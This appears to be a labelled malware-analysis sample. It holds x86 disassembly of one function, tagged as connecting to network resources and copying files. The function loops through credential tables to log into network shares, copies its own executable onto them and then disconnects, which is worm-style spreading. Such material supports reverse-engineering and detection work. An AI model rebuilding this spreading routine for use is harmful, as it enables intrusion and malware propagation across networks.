Function at 0x40975c
Capabilities:
Connect network resource
Copy file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffac
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x54], ecx
mov dword [ebp - 0x50], ecx
mov dword [ebp - 0x48], ecx
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x44], ecx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 4]
call fcn.00404c20
xor eax, eax
push ebp
push 0x40998b
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0xc]
push dword [eax + 0x14]
push 0x4099a4
push dword [ebp - 4]
lea eax, [ebp - 4]
mov edx, 3
call fcn.00404b34
mov dword [ebp - 0x3c], 1
xor eax, eax
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 4]
call fcn.00404c30
mov dword [ebp - 0x2c], eax
xor eax, eax
mov dword [ebp - 0x24], eax
push 0
call sub.kernel32.dll_GetModuleHandleA_1
mov esi, eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x4097e6
sub ebx, 4
mov ebx, dword [ebx]
push ebx
mov eax, dword [ebp - 8]
call fcn.00404c30
push eax
push esi
call sub.kernel32.dll_GetModuleFileNameA_1
call fcn.00408e74
test eax, eax
je 0x40980b
mov ax, 4
mov word [ebp - 0x12], 0x65
jmp 0x409813
xor eax, eax
mov word [ebp - 0x12], 0
movzx eax, ax
test eax, eax
jl 0x409963
inc eax
mov dword [ebp - 0x18], eax
mov eax, 0x40d9c0
mov dword [ebp - 0x20], eax
movzx eax, word [ebp - 0x12]
test eax, eax
jl 0x409956
inc eax
mov dword [ebp - 0x1c], eax
mov edi, 0x40d828
push 0
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
call fcn.00404c30
push eax
mov eax, dword [edi]
call fcn.00404c30
push eax
lea eax, [ebp - 0x40]
push eax
call sub.mpr.dll_WNetAddConnection2A
test eax, eax
jne 0x40994a
mov esi, 4
mov ebx, 0x40d818
lea eax, [ebp - 0x44]
mov edx, dword [ebp - 0x2c]
call fcn.004049d0
lea eax, [ebp - 0x44]
mov edx, dword [ebx]
call fcn.00404a6c
mov edx, dword [ebp - 0x44]
mov eax, dword [ebp - 0xc]
call fcn.00408e48
test eax, eax
je 0x409929
push 0
push dword [ebp - 4]
push dword [ebx]
push 0x4099b0
lea eax, [ebp - 0x48]
mov edx, 3
call fcn.00404b34
mov eax, dword [ebp - 0x48]
call fcn.00404c30
push eax
lea edx, [ebp - 0x4c]
xor eax, eax
call fcn.00402fd4
mov eax, dword [ebp - 0x4c]
call fcn.00404c30
push eax
call sub.kernel32.dll_CopyFileA
test eax, eax
je 0x409929
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax + 0x10]
lea eax, [ebp - 0x50]
mov edx, 0x4099c4
call fcn.00404ab8
mov edx, dword [ebp - 0x50]
mov eax, dword [0x40d9ec]
mov eax, dword [eax]
call fcn.00406768
call fcn.00408e74
test eax, eax
je 0x409922
push dword [ebp - 4]
push dword [ebx]
push 0x4099b0
lea eax, [ebp - 0x54]
mov edx, 3
call fcn.00404b34
mov edx, dword [ebp - 0x54]
mov eax, dword [ebp - 0xc]
call fcn.00408ea0
mov dword [ebp - 0x10], 0xffffffff
add ebx, 4
dec esi
jne 0x40986f
mov ebx, 0x15
push 0xffffffffffffffff
mov eax, dword [ebp - 0x2c]
push eax
call sub.mpr.dll_WNetCancelConnectionA
test eax, eax
je 0x40994a
dec ebx
jne 0x409938
add edi, 4
dec dword [ebp - 0x1c]
jne 0x40983f
add dword [ebp - 0x20], 4
dec dword [ebp - 0x18]
jne 0x40982a
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x409992
lea eax, [ebp - 0x54]
mov edx, 5
call fcn.004047fc
lea eax, [ebp - 8]
mov edx, 2
call fcn.004047fc
ret